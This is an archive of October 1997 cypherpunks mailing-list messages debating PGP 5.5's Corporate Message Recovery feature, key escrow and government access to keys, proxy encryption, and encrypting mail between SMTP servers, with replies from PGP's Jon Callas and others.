sharing a key, or being able to decrypt a message because they are all
CMR enforced multiple crypto recipients is a security nightmare either
way :-)

Reckon it would be arguably more secure to have the SMTP policy
enforcer decrypt it for them, even.

Another option would be Matt Blaze's proxy encryption.  That allows
the owner of the sales@acme.com key (perhaps the sales manager) to
create proxy keys which can convert messages addressed to
sales@acme.com into messages addressed to fred@acme.com,
jane@acme.com, and the rest of the sales droids.  (I thought Dave
Wagner came up with an example of a public key proxy function for an
RSA or El Gamal variant or something).

With proxy encryption you still have to have the proxy keys somewhere,
but you could keep them out of Fred's hands by putting them on the
SMTP policy server for it to convert incoming traffic.  This seems to
be more secure than either approach.  And avoids the security risk of
having multiple long term encryption keys used to allow access to
communications traffic.

That way at least messages aren't coming over the wire addressed to
101 people.  And also you don't have to worry so much about quick
propogation of revocation certs.  And when someone leaves you can
remove their proxy key from the SMTP server.

The whole problem is really quite complex, and there are no easy
solutions to group secured mail access where people are leaving and
joining the group at short notice.  Proxy cryptography seems to add
something quite useful to this mix.

Some form of transport level security adds something to the mix also,
because then if you are using CMR keys, or even normal pgp2.x multiple
recipients, or you are using long term encryption keys (as PGP Inc
seems to be currently recommending with pgp5.x (recommended validity
setting of `forever')) at least old traffic isn't directly vulnerable.

Several people commented on using a forward secret TLS between SMTP
servers opportunisitically (if the SMTP server supports the extension,
then use it; if not fall back to current situation).

Even without any authentication, this is a win because the main threat
from government is massive eavesdropping and key word scanning, or
saving of targetted users mails for later key compromise.
Unauthenticated TLS still forces the attacker to use active attacks.
Authentication can be added later as part of IPSEC/IPv6 key
infrastructure.

Another method of authenticating TLS is to base the authentication on
the user's PGP WoT.  Include authentication information to the
delivery agent which is capable of TLS, which is also exchanged inside
the encryption envelope.  (Eg. transfer an authentication symmetric
key k1 inside the encryption envelope; send the local TLS capable SMTP
hub / SMTP policy enforcer the key k1.  The TLS forward secret key
negotiation can then be authenticated using this key.  The remote TLS
system can tack the authentication information on to the delivered
message, in a header, or otherwise, and the recipient can check the
authentication).

> So PGP's "everything private unless you choose to make it public" system
> seems backwards. Surely what we really need to meet these customer demands
> is an "everything public (within the company) unless you choose to make it
> private" system? That is, all mail to my department inside the company
> should be encrypted to a department key, shared by all members, *unless*
> it is confidential, in which case it should *only* be encrypted to me. 

I think what PGP are arguing for is ability to recover stored messages
even if they are intended for one recipient only.  As I think has been
established this can be acheived by storage recovery, without exposing
communications traffic to the associated risks.  It is possible that
there is an unstated perceived user requirement, that the messaging
standard be able to allow third party access to the communications
traffic directly.

Your description is another plausible permutation also, I think, which
has it's own merits and security/privacy/political abuse trade-offs.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 23:10:14 +0800
To: declan@well.com
Subject: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
In-Reply-To: <v03007804b073ab366f27@[204.254.22.221]>
Message-ID: <199710221356.OAA02611@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
>
> [puff piece on toilets]
> 

No offense Declan, but what has this got to do with cypherpunks,
cryptography, crypto politics etc?  (This is not a perrygram, this is
a message saying I found that particular article uninteresting).

I think we'd be more interested to see an analysis piece of the
political merits/demerits of the pgp5.5 CMR corporate message recovery
technique than of _toilets_.

Where do you stand on the CMR argument?  Or are you staying away from
the hot potato :-)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 22 Oct 1997 22:57:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a possible solution)
Message-ID: <199710221450.PAA03056@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Forwarded with permission, Mark's response:

------- Start of forwarded message -------
Date: Wed, 22 Oct 1997 06:41:49 -0700 (PDT)
From: mark@unicorn.com
To: aba@dcs.exeter.ac.uk
Cc: mab@research.att.com
Subject: Re: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a possible solution)

aba@dcs.ex.ac.uk wrote:

[Did you intend to send this to the list, or Bcc it? If so, please forward 
 a copy of this reply as well]

> What you're describing is an alternate use for CMR: to allow
> sales@acme.com to have attached to it the request that messages to
> that address be encrypted for all the sales people.
>
> Well that seems reasonable in a way.  Still potentially dangerous in
> that the NSA will soon enough be asking to be on every one's CMR list.

But that's *precisely* what I set out to avoid. The intention is to eliminate
the multiple-recipient encryption which is the real problem with PGP 5.5's
CMR. The NSA can easily put themselves at the top of the encryption hierachy,
but then all mail will *only* be encrypted to the NSA, and the recipient
will not be able to read it. Rather than encrypting to multiple recipients,
you would encrypt to a single key which is available to all those recipients.

> The other alternative is as you say: to have group keys which are
> shared amongst the sales people.  There are problems with this in
> managing the secure distribution of the shared key: sales manager
> creates it, and emails securely to all sales team members?
> Plausible I suppose.

Exactly. Or the individual sales-people create personal 'corporate use
keys' and escrow them, or the key is retained in a secure 'black box' which
takes incoming email encrypted to the sales department and outputs plaintext.
The point is that mail sent to that key can be recovered somehow, but 
confidential mail sent to their private, personal key cannot.

> Problem for both approaches is re-keying: what happens when Fred
> leaves the sales team to work for a competitor. 

I agree. But that can be solved in some fashion; the 'black box' approach,
for example.

> Really it seems to me that actually having half a dozen sales droids
> sharing a key, or being able to decrypt a message because they are all
> CMR enforced multiple crypto recipients is a security nightmare either
> way :-)

Sure, but better than a security nightmare *and* GAK.

> Reckon it would be arguably more secure to have the SMTP policy
> enforcer decrypt it for them, even.

Yep, that was one of the options I listed; the 'black box' above.

> I think what PGP are arguing for is ability to recover stored messages
> even if they are intended for one recipient only.  

But this is the one thing they don't seem to have a business case for. In
my system, if the mail was encrypted to that recipient's personal key rather
than a group key or an individual escrowed key, then the sender had a good reason to do so. In that case, the only reason a company could want to read 
the mail is for snooping on their employees. I don't believe that PGP or 
anyone else should be encouraging that.

The proxy key stuff seemed interesting, but not something that can be
implemented in the next few months. I'm thinking of this as a short-term
solution, not long-term.

    Mark
------- End of forwarded message -------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 02:06:19 +0800
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: PGP, Inc.--What were they thinking?
In-Reply-To: <199710221356.OAA02611@server.test.net>
Message-ID: <v03102800b073eb6667df@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:17 AM -0700 10/22/97, Declan McCullagh wrote:

>As for CMR... I was travelling when the discussion started on cypherpunks
>so I haven't been following it very closely.
>
>My position is something along these lines: corporations have a right to go
>down the CMR path; it is unwise to restrict them through the coercive power
>of the state. At the same time, we need to speak out against crypto-foolish
>practices. If corporations start building CMR products, the political
>consequences could be devestating. It's like building a gallows for your
>own hanging.

Just to make things clear, none of us is arguing for any restrictions on a
corporation's adoption of CMR, nor of PGP, Inc.'s right to manufacture and
distribute CMR software.

Many of us think it is a foolish thing for PGP, Inc., especially, to be
building. Both because it helps Big Brother make his arguments (as he has
already, pace the testimony before Congress about key recovery being
practical because PGP, Inc. is now selling similar software), and because
of how it squanders the reputation capital of Phil Zimmermann and PGP, Inc.

Further, CMR addresses the wrong problems. For reasons I and Adam Back and
several others have discussed at length in the past couple of weeks.

>
>>From my perch in Washington, I see PGP 5.5/CMR as an existence proof that
>key recovery can be done. So far the crypto-advocates have been able to
>wave around the Blaze et al white paper that says we don't know how to do
>it. Even Dorothy Denning agreed. But now when a mandatory GAK bill goes to
>the House floor, all Rep. Solomon etc. have to do is wave around a
>shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
>shop at 21st and L." Details will be lost in the fearmongering.

Yep, they're already doing this. This was reported a week or so ago,
somewhere here in Cypherpunks.
>
>I suspect that there's not that substantial a market for CMR. The apparent
>market demand now is an artificial one created by the Clinton
>administration.

Agreed. What amazes me is how PGP, Inc. would decide this should be a core
part of their company. "PGP for Business," indeed. What were they thinking?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Thu, 23 Oct 1997 02:58:27 +0800
To: cypherpunks@toad.com
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <877514566.20581.193.133.230.33@unicorn.com>
Message-ID: <3.0.3.32.19971022113904.00bca690@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:02 AM 10/22/97 -0700, mark@unicorn.com wrote:
   
Thanks. I want to add that what's in 5.5 is hardly what we think is
perfect. The system is designed simply to be preferable to key escrow. We
have some improvements we're planning for it in the future. So you're right
-- it's a short-term solution.
   
   The current system sends out a user's personal key, with a tag to say that
   if I don't encrypt to the company as well, my mail will bounce. But think
   about this: how often do I want to send email to a particular person in a
   company, and ensure that only they see it? And how often do I want to send
   mail to a particular group inside a company? All I want is to ensure that
   I get a response from the company, I usually don't care who I talk to in
the
   process.

You have it mostly right. There's a tag in a self-signature that says,
"please encrypt to this other key, too." The only time you are required to
encrypt to Alice's other key is if you and Alice share the same additional
key (and not always even then).
   
   So PGP's "everything private unless you choose to make it public" system
   seems backwards. Surely what we really need to meet these customer demands
   is an "everything public (within the company) unless you choose to make it
   private" system? That is, all mail to my department inside the company
   should be encrypted to a department key, shared by all members, *unless*
   it is confidential, in which case it should *only* be encrypted to me. 

This is certainly possible with the system, and in fact easier to implement
than anything else.
   
   Here's how I see this working: when Joe Blow joins Foo-Bah Cryptosystems,
   he creates his own personal PGP key. He also gets a copy of the department
   key, which he can use to decrypt any mail which is encrypted to his
   department; or this decryption could be handled automatically by a
   department email server to ensure that individuals never have access to the
   department's private key. PGP then creates a public key for 'Joe Blow
   <joe.blow@foo-bah.com>', which would be the department key with a signed
tag
   linking it to his personal public key. This is the tagged corporate public
   key which he would give out to any customers. 
   
   When a customer wishes to send email to Joe, he would use this public key.
   When encrypting, PGP would detect the tag and put up a dialog box pointing
   out that this is a corporate key and if they click on the 'confidential'
   button it will be encrypted to the user's personal key prior to encrypting
   to the corporate key (by which I mean superencryption, to avoid traffic
   analysis). The default would be not to superencrypt; and as a side effect
   this system would be compatible with any version of PGP for
   non-confidential mail (assuming that version understands the encryption
   algorithms in use). 
   
   The effect of this is that if someone wants to send email about an urgent
   bug and I'm out at lunch, any of my co-workers can read that mail. But if
   they want to send *me* mail about confidential inter-company negotiations,
   the co-workers could decrypt the outer layer of the message, but would be
   blocked by the inner layer encryption to my personal key. 
   
   As I see it, this system is simple, solves the problems which PGP claim
   they need to solve without creating the snooping problems Tim and others
   have discussed, cannot easily be adapted to GAK ('This message is to be
   encrypted to the FBI public key. If it is confidential, click here to
   superencrypt to the recipient's personal key'), and won't require a
   massive change to the PGP source code. 

This is exactly CMR. The only thing that Business 5.5 does is automatically
add the department for you, and put up the recipient dialog so it can be
taken off. Congrats.
   
   There are some obvious security issues with having the department key
   shared amongst the members of the department, but I don't see that they
   are any worse than PGP's current CMR implementation, which has already
   discussed the use of department keys; it's certainly better than using
   plaintext. There are also problems with encrypting confidential mail to
   multiple recipients, but they're surmountable; an easy solution, if you
   don't care about traffic analysis, is to only encrypt confidential mail
   to the personal key rather than superencrypt with the corporate key. In
most 
   cases such mail wouldn't be sent to multiple recipients anyway. 
   
   So here's how I'd see the simple system working:
   
   A PGP CMR key would consist of
   
   1. A corporate key; this might be company-wide, department-wide, or
      an individual escrowed key; this choice is a seperate key-management
      issue for the corporation.
   2. Optionally a personal key, which could only be decrypted by the
      individual.
   3. A signature from the corporate key linking the personal key to it
      and the specified User Id.
   4. Optional flag to indicate which key to encrypt to by default.
   5. User Id, signatures, etc
   
   When PGP was asked to encrypt to such a key, it would check for the
   optional personal key. If it wasn't there, it would put up a warning
   box to tell the user that the message can be read by people other than
   the recipient. If it is, then it would put up a dialog box allowing the
   user to choose whether to encrypt to the corporate key or the individual
   key, normally defaulting to the corporate key. This system could not easily
   become GAK because it will only encrypt to one of the keys and not both;
   the FBI could create FBI CMR keys from all our public keys, but then PGP
   would either encrypt to the FBI and I wouldn't be able to read it, or
   encrypt to me and the FBI wouldn't be able to read it.
   
   Anyone care to pick any holes?

Looks good from here. You've redesigned PGP 5.5. Thanks.

	Jon



-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Thu, 23 Oct 1997 03:17:10 +0800
To: Adam Back <mark@unicorn.com
Subject: Re: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a possible solution)
In-Reply-To: <877514566.20581.193.133.230.33@unicorn.com>
Message-ID: <3.0.3.32.19971022120251.00bf7b30@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:46 PM 10/22/97 +0100, Adam Back wrote:
   
   Mark Grant <mark@unicorn.com> writes:
   > The current system sends out a user's personal key, with a tag to say
that
   > if I don't encrypt to the company as well, my mail will bounce. But think
   > about this: how often do I want to send email to a particular person in a
   > company, and ensure that only they see it? And how often do I want to
send
   > mail to a particular group inside a company? All I want is to ensure that
   > I get a response from the company, I usually don't care who I talk to
in the
   > process.
   
   The CMR feature in pgp5.5 isn't so far intented to cope with this
   scenario I think.  That's because pgp5.5 I understand can only
   generate keys with one CMR request field.

Well, Adam, you are yet again describing it wrong. You can put in N of
them. You are right that the 5.5 UI isn't general. Something had to slip.
Also, there's another thing you're not describing correctly. This is not a
feature of the key -- it's a feature of the user name, and included in a
user name's self signature. It can be changed at any time, and you can even
have an ambivalent key that has a username with the CMR packet
(salesdweeb@foobar.com) and a without it (jblow@foobar.com).
   
   Problem for both approaches is re-keying: what happens when Fred
   leaves the sales team to work for a competitor.  Revoke the shared key
   and start over?  Or with the CMR method, revoke just the CMR request
   for Fred, and allow key servers to remove CMR requests when presented
   with a suitable CMR request revocation cert?  (How often will senders
   check key servers for revocation certs?)  Or have short expiries on
   encryption-only keys (one per day?), so that they key update happens
   soon enough anyway.  (pgp5.x allows for short lived encryption keys
   directly because of the separation of signature and encryption keys,
   the WoT applies to the signature key).

This is why any sort of shared or escrowed keys suck. But in most cases
it's good enough, because when Fred leaves sales, he loses access to the
sales computers. In most of these cases, when someone decrypts something
with the sales key, it ends up going into the order system in plaintext
anyway.

However, one of the features of the new PGP key format is that you can
change encryption keys easily. If you
   
   Really it seems to me that actually having half a dozen sales droids
   sharing a key, or being able to decrypt a message because they are all
   CMR enforced multiple crypto recipients is a security nightmare either
   way :-)
   
   Reckon it would be arguably more secure to have the SMTP policy
   enforcer decrypt it for them, even.

Really? You think the SMTP agent should be decrypting? Wow. I don't. I
think that's *really* intrusive, and worse than what we did. Interestingly
enough, there are a number of people (like Bruce Schneier) who have no
problem with the additional encryption part, but think that the SMTP agent
is the work of the devil. Expect pushback.
   
   Another method of authenticating TLS is to base the authentication on
   the user's PGP WoT.  Include authentication information to the
   delivery agent which is capable of TLS, which is also exchanged inside
   the encryption envelope.  (Eg. transfer an authentication symmetric
   key k1 inside the encryption envelope; send the local TLS capable SMTP
   hub / SMTP policy enforcer the key k1.  The TLS forward secret key
   negotiation can then be authenticated using this key.  The remote TLS
   system can tack the authentication information on to the delivered
   message, in a header, or otherwise, and the recipient can check the
   authentication).

Note that the user's WoT is stored in the user's keyring. There's an
operational problem here. This means that the MTA has to have access to all
users' pubrings. This is not a good thing, to my mind.
   
   > So PGP's "everything private unless you choose to make it public" system
   > seems backwards. Surely what we really need to meet these customer
demands
   > is an "everything public (within the company) unless you choose to
make it
   > private" system? That is, all mail to my department inside the company
   > should be encrypted to a department key, shared by all members, *unless*
   > it is confidential, in which case it should *only* be encrypted to me. 
   
   I think what PGP are arguing for is ability to recover stored messages
   even if they are intended for one recipient only.  As I think has been
   established this can be acheived by storage recovery, without exposing
   communications traffic to the associated risks.  It is possible that
   there is an unstated perceived user requirement, that the messaging
   standard be able to allow third party access to the communications
   traffic directly.

Nope, that's not what we're arguing for. What we're arguing for is an
alternative to key escrow -- the kind where your employer keeps your secret
key just in case they need it.

	Jon





-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 00:31:37 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILETALERT)
In-Reply-To: <v03007804b073ab366f27@[204.254.22.221]>
Message-ID: <v03007808b073c711fcb1@[204.254.22.221]>
MIME-Version: 1.0
Content-Type: text/plain



Adam,

Sometimes it's useful to inject a bit of humor in every serious discussion.

The relevance? Another example of Singapore's loony politics. Strict social
controls and relative economic freedom. I find it fascinating in light of
Net-filtering and other attempts at restricting information flow; if you
don't, well, you can always delete it. :)

As for CMR... I was travelling when the discussion started on cypherpunks
so I haven't been following it very closely.

My position is something along these lines: corporations have a right to go
down the CMR path; it is unwise to restrict them through the coercive power
of the state. At the same time, we need to speak out against crypto-foolish
practices. If corporations start building CMR products, the political
consequences could be devestating. It's like building a gallows for your
own hanging.

>From my perch in Washington, I see PGP 5.5/CMR as an existence proof that
key recovery can be done. So far the crypto-advocates have been able to
wave around the Blaze et al white paper that says we don't know how to do
it. Even Dorothy Denning agreed. But now when a mandatory GAK bill goes to
the House floor, all Rep. Solomon etc. have to do is wave around a
shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
shop at 21st and L." Details will be lost in the fearmongering.

I suspect that there's not that substantial a market for CMR. The apparent
market demand now is an artificial one created by the Clinton
administration.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 04:12:26 +0800
To: Adam Back <declan@well.com
Subject: GMR vs. GAK
In-Reply-To: <v03007808b073c711fcb1@[204.254.22.221]>
Message-ID: <v03102801b07409336819@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:38 AM -0700 10/22/97, Adam Back wrote:

>This is one example of why CMR may be dangerous.  Another is the
>danger that we have a couple of years of mass CMR enabled software
>deployed.  Tim has been using the acronym GMR, which nicely says what
>a well deployed CMR software base can be converted to with an over
>night presidential decree.  Lethal.

About "GMR," I use it only because it's a direct parallel to CMR, with
"Government" replacing "Corporate." In fact, as others also suspect, I
anticipate some countries will mandate the precise form CMR is taking in
PGP 5.5, with a requirement that the corporate keys be given ("escrowed" in
the older terminology) to government agencies. This would actually take
very little in the way of additional regulation in many countries--the same
departments of corporations which file various reports with the government
would be compelled to provide keys.

GMR is CMR with the government being one of the keyholders. And the users
need not even be involved in this...all that is needed is an order, or
finding, by the SEC, FTC, IRS, etc., that CMR keys be deposited with the
government.

(When the Justice Department was suing IBM and AT&T and demanding every
scrap of paper they could get, including thousands of boxes of documents,
wouldn't they have surely demanded the CMR keys, had they existed back
then? Were Microsoft to be using CMR, don't you expect these keys will be
demanded by Janet Reno? This, by the way, ought to be reason enough for MS
to abandon its internal programs on message recovery. But I wouldn't be
surprised if failure to adopt CMR is itself seen as part of a conspiracy to
thwart government investigations...speculating wildly, this may be a reason
many companies adopt CMR, and why many other companies eschew CMR.)

In the U.S., there may be various challenges to the constitutionality of
this. Certainly some organizations--hospitals, psychiatric facilities,
newspapers, etc.--will have First and Fourth Amendment claims, e.g.,
protection of confidential sources, protection of medical privacy, etc..
Will XYZ Corporation have such protections? Unclear to me. (Recall the Jim
Choate  mantra that "only individuals have rights.")

I don't mean for GMR to replace GAK, which has served us so well for
several years (since being coined by Carl Ellison, of course). But the
Newspeak everyone is using is "message recovery," with a disaster planning
spin on it (however incorrectly), so maybe we should change with the times,
too.

"GMR" serves to deconstruct and monkeywrench the CMR term.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 23 Oct 1997 04:25:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP 5.5 CMR/GAK: a possible solution
In-Reply-To: <877514566.20581.193.133.230.33@unicorn.com>
Message-ID: <v03102802b0740d526001@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:02 AM -0700 10/22/97, mark@unicorn.com wrote:

>The current system sends out a user's personal key, with a tag to say that
>if I don't encrypt to the company as well, my mail will bounce. But think
>about this: how often do I want to send email to a particular person in a
>company, and ensure that only they see it? And how often do I want to send
>mail to a particular group inside a company? All I want is to ensure that
>I get a response from the company, I usually don't care who I talk to in the
>process.

Our mileages apparently vary. When _I_ send a message to, say, Jon Callas
at PGP, Inc., it is to Jon Callas, not to others. It might be a job offer,
it might be an invitationf for him to help monkeywrench CMR, it might be a
stock tip, it might be a comment about a conversation we had a party, it
might be a lot of things.

If I was sending it to "Jon's coworkers in Department Z," I probably either
wouldn't encrypt it at all, or would (if the option existed) encrypt to
some departmental or group key.

In fact, addressing your "how often do I want to send email to a particular
person in a company, and ensure that only they see it?" point, I'd say that
virtually all I've sent is of this "to one person and not to others" sort.
Sure, sometimes I send bug reports to software vendors and to my ISP, and
then I don't know, or care, who reads it.

But if I send mail to Vinnie, or to Phil, or to Dave, or to Jon, I expect
it'll go to them and to them alone. Who they show it to afterwards is,
obviously, beyond my control and outside the scope of cryptography.

I don't dispute the "right" of a business owner to enforce use of CMR on
his employees, or to bounce my mail for failing to properly CMR the message
I send.

I expect those who adopt CMR will find an awful lot of folks will just give
up on trying to communicate with those living in a CMR regime. A lot of
folks will be using older, non-CMR, versions of PGP for many years to come.
(Even if older versions support the additional CMR keys, which I'm sure
they could do by adding the CMR key to the appropriate keyring, a lot of
folks will just skip the additional complexity...when they want to send a
message to someone, they won't want to bother with additional keys, bounced
messages, etc.)

Now what Phil, Vinnie, Dave, and Jon will likely do if CMR is enforced
within PGP, Inc. is to tell those who want to send them job offers,
personal messages, etc. to use back channels, e.g., prz@acm.org, AOL
accounts, hotmail accounts, etc.

So much for Corporate Message Recovery.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mskala@burnaby.csc.UVic.CA
Date: Thu, 23 Oct 1997 05:03:17 +0800
To: Mike <Michael.Johnson@mejl.com>
Subject: Re: SMTP Encryption Extension
In-Reply-To: <3.0.3.32.19971022073807.0099dcb0@localhost>
Message-ID: <Pine.A41.3.96.971022133446.13424A-100000@burnaby.csc.UVic.CA>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 22 Oct 1997, Mike wrote:
> >> Which leads to another idea, couldn't we encrypt SMTP by running it over
> >> SSL as a web server cgi? If 99% of Internet traffic is web browsing and we
> >You don't need to run it through a CGI.  There's a port defined for
> >SMTP-over-SSL:
> 
> Sure, but the idea here was hiding email to defeat traffic analysis. Ssmtp
> would raise alarms in any snopper but https would seem like business as

Well, that wasn't *my* idea.  My idea was to hide the contents of mail
from totally passive attackers, and to do it with NO participation or
training from the end users, MINIMAL participation and effort from the
sysadmin, and transparent compatibility (minus security, of course) with
standard mail systems.  I claim that this combination of goals is worth
pursuing; I recognize that there are systems which provide better
security, but it's at the cost of some of my other goals.

You want to defeat traffic analysis, use remailers.  You want security
against active attacks, use PGP (or equivalent).  If you want these things
to be really easy, you'll be stuck with talking only to systems you know
support whatever application you're using.

A significant advantage of an encryption extension to SMTP is that it
requires no prior coordination between the two ends of a link.  I don't
have to know whether the destination system supports encrypted SMTP, and I
don't need to try connecting to the "secure mail" port and then fall back
to regular mail every time I connect to a system I haven't been introduced
to.  I just have to watch for the encryption extension in the list of
extensions that current SMTP mailers already exchange when they connect to
each other.

My threat model is that the NSA is tapping thousands of people's lines;
what can we do to make that impractical?

> A significant threat to online privacy comes from passive attackers,
> because you can't do anything about them. If you have an active attacker,
> you can analyze his moves and fix the bugs he uses to break root, but a
> passive attack is difficult to even detect before it's too late and your
> romantic conversations are headline news.

Solutions like PGP won't see much use beyond people who care about
privacy, and at the moment there aren't enough of those.  But if encrypted
SMTP is installed on *systems*, then all mail between such systems becomes
protected from purely passive wiretapping.  Yes, it can still be
traffic-analysed, but only on the level of "this system sent this much
mail to that system", not "this user sent this much mail to that user".
 
It can still be intercepted by an active attack - if the NSA can fool my
TCP into thinking it's talking to mail.aol.com, then all my mail to
mail.aol.com is readable by NSA (unless the protocol gets elaborated to do
more sophisticated key management than just exchanging public keys at the
start of the session, but that quickly requires user involvement and I
want to avoid that).

However, can the NSA afford to do DNS spoofing on a grand scale?  They
might do it for one system if they want to get that system's mail in
particular, but if you've got the NSA singling you out, you had better be
using PGP anyway. I'm sure they can't do an active attack on thousands of
ordinary people at a time, just in case we might be doing something
interesting.  I'm also not sure that traffic analysis on ordinary
people is really going to produce any particularly damaging
information.  They *can* afford simple passive wiretaps on a large scale. 

(Substitute your favorite scary organization for "NSA" if you prefer...)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Thu, 23 Oct 1997 02:24:11 +0800
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: puff pieces vs tough crypto issues (Re: Singapore TOILET ALERT)
In-Reply-To: <199710221356.OAA02611@server.test.net>
Message-ID: <v0310280db073ee3bc480@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:17 PM -0400 10/22/97, Declan McCullagh wrote:

>>From my perch in Washington, I see PGP 5.5/CMR as an existence proof that
>key recovery can be done. So far the crypto-advocates have been able to
>wave around the Blaze et al white paper that says we don't know how to do
>it. Even Dorothy Denning agreed. But now when a mandatory GAK bill goes to
>the House floor, all Rep. Solomon etc. have to do is wave around a
>shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
>shop at 21st and L." Details will be lost in the fearmongering.

While I suspect that new key recovery or CMR products may create some new
traction for supporters of mandatory GAK, PGP 5.5 is not the first example
of such a product (TIS has been marketing key recovery products for a
while).

More importantly though, the Blaze et al study
(http://www.crypto.com/key_study) did not say that key recovery/key escrow
systems can't be built.  It said that such systems designed to meet law
enforcement specifications (24/7 real time access, the infrastructure for
key exchanges, and security considerations necessary for such a system to
function) are beyond the scope of the field and would create significant
vulnerabilities in the network.

This is an important distinction.

So far, Soloman, the FBI, nor other mandatory GAK supporters have said that
PGP 5.5 or other key recovery products on the market today solve their
so-called 'problems'.  I don't really expect them to. They seem to want
much much more.

Jonah



* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 23 Oct 1997 02:21:33 +0800
To: Lizard <lizard@mrlizard.com>
Subject: Re: Bill Gates, the Bully Savior
In-Reply-To: <l03110702b0738295f1b3@[207.181.210.21]>
Message-ID: <v0300780cb073f0205b7b@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



There was a good op-ed in the WSJ on Monday. The Politics of Envy,
basically. Why everyone in Silicon Valley hates Microsoft...

But some of the complaints about Microsoft come down to personal taste. The
masses offend refined sensibilities when they buy Windows 95 in droves.
